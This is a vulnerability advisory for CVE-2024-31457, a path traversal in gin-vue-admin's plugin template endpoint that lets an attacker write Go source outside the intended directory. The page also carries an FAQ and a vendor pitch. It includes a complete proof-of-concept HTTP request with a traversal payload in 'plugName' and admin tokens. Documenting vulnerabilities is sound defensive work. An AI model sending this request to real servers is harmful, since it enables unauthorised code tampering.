CVE-2024-31457

gin-vue-admin background arbitrary code coverage vulnerability

Workarounds

You can use the following filtering methods to rectify the directory traversal problem
if strings.Index(plugPath, "..") > -1 {
        fmt.Println("no bypass",plugPath)
    }

References

https://github.com/flipped-aurora/gin-vue-admin

"gin-vue-admin<=v2.6.1 has a code injection vulnerability in the backend. In the Plugin System -> Plugin Template feature, an attacker can perform directory traversal by manipulating the 'plugName' parameter. They can create specific folders such as 'api', 'config', 'global', 'model', 'router', 'service', and 'main.go' function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter."

Affected code: https://github.com/flipped-aurora/gin-vue-admin/blob/746af378990ebf3367f8bb3d4e9684936df152e7/server/api/v1/system/sys_auto_code.go:239. Let's take a look at the method 'AutoPlug' within the 'AutoCodeApi' struct.

func (autoApi *AutoCodeApi) AutoPlug(c *gin.Context) {
	var a system.AutoPlugReq
	err := c.ShouldBindJSON(&a)
	if err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	a.Snake = strings.ToLower(a.PlugName)
	a.NeedModel = a.HasRequest || a.HasResponse
	err = autoCodeService.CreatePlug(a)
	if err != nil {
		global.GVA_LOG.Error("预览失败!", zap.Error(err))
		response.FailWithMessage("预览失败", c)
		return
	}
	response.Ok(c)
}

The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct.

type AutoPlugReq struct {
	PlugName    string         `json:"plugName"` // 必然大写开头
	Snake       string         `json:"snake"`    // 后端自动转为 snake
	RouterGroup string         `json:"routerGroup"`
	HasGlobal   bool           `json:"hasGlobal"`
	HasRequest  bool           `json:"hasRequest"`
	HasResponse bool           `json:"hasResponse"`
	NeedModel   bool           `json:"needModel"`
	Global      []AutoPlugInfo `json:"global,omitempty"`
	Request     []AutoPlugInfo `json:"request,omitempty"`
	Response    []AutoPlugInfo `json:"response,omitempty"`
}

POC：

POST /api/autoCode/createPlug HTTP/1.1
Host: 192.168.31.18:8080
Content-Length: 326
Accept: application/json, text/plain, */*
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIxMTM4MywibmJmIjoxNzExNjA2NTgzfQ.uq61pJNi4kzUXb8lEkVa7NBCBvp_Ye59fee-TJV_rpE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
x-user-id: 1
Content-Type: application/json
Origin: http://192.168.31.18:8080
Referer: http://192.168.31.18:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: x-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIyMDA4NiwibmJmIjoxNzExNjE1Mjg2fQ.XVV97Ky17E9pUO_byVgK--FnAp9ye4Tpab2jnma6dBU
Connection: close

{"plugName":"../../../server/","routerGroup":"111"	,"hasGlobal":true,"hasRequest":false,"hasResponse":false,"global":[{"key":"1","type":"1","desc":"1"},{"key":"type","value":"faspohgoahgioahgioahgioashogia","desc":"1","type":"string"}],"request":[{"key":"","type":"","desc":""}],"response":[{"key":"","type":"","desc":""}]}

By performing directory traversal and creating directories such as api, config, global, model, router, and service within the gin-vue-admin/server directory, an attacker can tamper with the source code and the main.go file. They can potentially overwrite or tamper with the Go source code files located in the directory C:\代码审计\server to further compromise the system.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2024-31457 has a CVSS score of 7.7 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20240409100909-b1b7427c6ea6); upgrading removes the vulnerable code path.

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1. What is CVE-2024-31457? CVE-2024-31457 is a high-severity path traversal vulnerability in github.com/flipped-aurora/gin-vue-admin/server (go), affecting versions < 0.0.0-20240409100909-b1b7427c6ea6. It is fixed in 0.0.0-20240409100909-b1b7427c6ea6. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2024-31457? CVE-2024-31457 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/flipped-aurora/gin-vue-admin/server are affected by CVE-2024-31457? github.com/flipped-aurora/gin-vue-admin/server (go) versions < 0.0.0-20240409100909-b1b7427c6ea6 is affected.
4. Is there a fix for CVE-2024-31457? Yes. CVE-2024-31457 is fixed in 0.0.0-20240409100909-b1b7427c6ea6. Upgrade to this version or later.
5. Is CVE-2024-31457 exploitable, and should I be worried? Whether CVE-2024-31457 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-31457 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-31457? Upgrade github.com/flipped-aurora/gin-vue-admin/server to 0.0.0-20240409100909-b1b7427c6ea6 or later.

Other vulnerabilities in github.com/flipped-aurora/gin-vue-admin/server